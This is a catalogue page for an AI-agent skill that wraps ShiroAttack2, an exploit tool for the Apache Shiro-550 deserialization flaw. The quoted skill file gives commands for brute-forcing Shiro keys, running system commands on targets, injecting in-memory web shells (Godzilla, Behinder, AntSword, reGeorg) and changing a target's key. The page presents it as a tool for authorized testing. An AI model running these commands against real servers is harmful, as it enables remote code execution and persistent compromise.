shiro-attack-cli

A command-line tool for checking and testing Apache Shiro’s rememberMe deserialization vulnerability, known as Shiro-550 or CVE-2016-4437. It supports detection, key testing, and the exploit operations described in its commands.

In plain words
What is it for?
Use it for authorized testing of Shiro targets, including framework detection, rememberMe key checks, gadget-chain checks, and the listed command-execution or injection tests.
Why use it?
It lets security testers investigate this specific Shiro configuration risk from a terminal without using a graphical interface.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/summersec/shiroattack2/shiro-attack-cli
Any agent
npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli
Clone the repo
git clone --depth 1 https://github.com/SummerSec/ShiroAttack2

Made for: Claude Code, Codex.

Per session 134 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,745 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00134 $0.01745
Opus 5 $0.00067 $0.00873
Sonnet 5 $0.00027 $0.00349
Haiku 4.5 $0.00013 $0.00175

Measured 2d ago against content hash 9ddfa72d09ed, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

shiro-attack-cli scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s https://api.github.com/repos/SummerSec/ShiroAttack2/releases/latest \
.claude/skills/shiro-attack-cli/SKILL.md · 148 lines

How it starts

The opening of the file, as written. The whole thing — 148 lines — stays where its author put it; the contents beside it link to each section on GitHub.

ShiroAttack2 CLI

Shiro-550 漏洞利用命令行工具,从 fat JAR 直接运行,无需 GUI。

启动方式

JAR="shiro_attack-5.1.1-all.jar"
CP="com.summersec.attack.CLI.MainCLI"
java -cp $JAR $CP <命令> [选项]

准备工作

下载 JAR

如果本地没有 jar,从 GitHub Releases 下载:

# 查看最新版本
curl -s https://api.github.com/repos/SummerSec/ShiroAttack2/releases/latest \
  | grep browser_download_url | grep all.jar | cut -d '"' -f 4

# 或用浏览器打开 https://github.com/SummerSec/ShiroAttack2/releases
# 下载 shiro_attack-*-all.jar 即可

准备 Key 字典

crack 命令需要 data/shiro_keys.txt。如果文件不存在,从 GitHub 下载:

mkdir -p data
curl -L -o data/shiro_keys.txt \
  https://raw.githubusercontent.com/SummerSec/ShiroAttack2/master/data/shiro_keys.txt

data/ 目录需放在运行 jar 的工作目录下。

命令

detect — 探测 Shiro

java -cp $JAR $CP detect -u <url> [-k <关键词>] [--cbc|--gcm] [--proxy <url>] [--timeout <秒>]

成功输出:[++] 存在shiro框架!

crack — 爆破/验证 Key

# 字典爆破(工作目录需有 data/shiro_keys.txt)
java -cp $JAR $CP crack -u <url> [--cbc|--gcm]

# 验证指定 Key
java -cp $JAR $CP crack -u <url> -K <base64_key> [--cbc|--gcm]

exec — 执行系统命令

java -cp $JAR $CP exec -u <url> -K <base64_key> -c <命令> [--cbc|--gcm] [-g <gadget>] [-e <回显>] [--json]
  • -K : Shiro AES Key (Base64)。必需。
  • -c : 要执行的系统命令。必需。
  • -g : Gadget 链类名。省略则自动探测(优先无 commons-collections 依赖的变体)。
  • -e : 回显类型:AllEcho(默认)、TomcatEchoSpringEcho

memshell — 注入内存马

java -cp $JAR $CP memshell -u <url> -K <base64_key> -t <类型> [--pass <密码>] [--path <路径>] [--cbc|--gcm]
  • -t : 内存马类型。必需。可选:哥斯拉[Filter]哥斯拉[Servlet]冰蝎[Filter]冰蝎[Servlet]蚁剑[Filter]蚁剑[Servlet]NeoreGeorg[Filter]NeoreGeorg[Servlet]reGeorg[Filter]reGeorg[Servlet]
  • --pass : 内存马连接密码,默认 passwd
  • --path : 内存马 URL 路径,默认 /favicon.ico

changekey — 修改目标 Shiro Key

java -cp $JAR $CP changekey -u <url> -K <当前key> --newkey <新key> [--variant <变体>] [--cbc|--gcm]
  • --newkey : 新的 Shiro AES Key (Base64)。必需。
  • --variant : 注入路径变体,默认 filterConfigs -> shiroFilterFactoryBean。可选:filterConfigs -> shiroFilterFactoryBeangetFilterRegistration -> shiroFilterFactoryBeanfilterConfigs -> 常见 Shiro 名依次匹配getFilterRegistration -> 常见 Shiro 名依次匹配filterConfigs -> 包含 shiro 的名称扫描高风险: 全候选 rememberMeManager 扫描

Read the full file on GitHub · 148 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 148 lines · 134 tokens per session scan A 9ddfa72d09ed

Subscribe to this mod's changes

shiro-attack-cli is a skill published in the GitHub repository SummerSec/ShiroAttack2 (2,622 stars, last pushed 3mo ago), licensed MIT. It adds 134 tokens to every session and 1,745 once invoked, about $0.0007 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

systematic-debugging

Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.

obra/superpowers · 21 tokens

next-cache-components-adoption

Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…

vercel/next.js · 95 tokens

babysit-pr

Babysit a GitHub pull request after creation by continuously polling review comments, CI checks/workflow runs, and mergeability state until the PR is merged/closed or user help is required. Diagnose failures, retry likely flaky failures up to 3 times, auto-fix/push branch-related issues when appropriate, and keep…

openai/codex · 114 tokens

imagegen

Generate or edit raster images when the task benefits from AI-created bitmap visuals such as photos, illustrations, textures, sprites, mockups, or transparent-background cutouts. Use when Codex should create a brand-new image, transform an existing image, or derive visual variants from references, and the output…

openai/codex · 113 tokens

cpu-profile-analysis

Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…

microsoft/vscode · 71 tokens

next-cache-components-optimizer

Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…

vercel/next.js · 170 tokens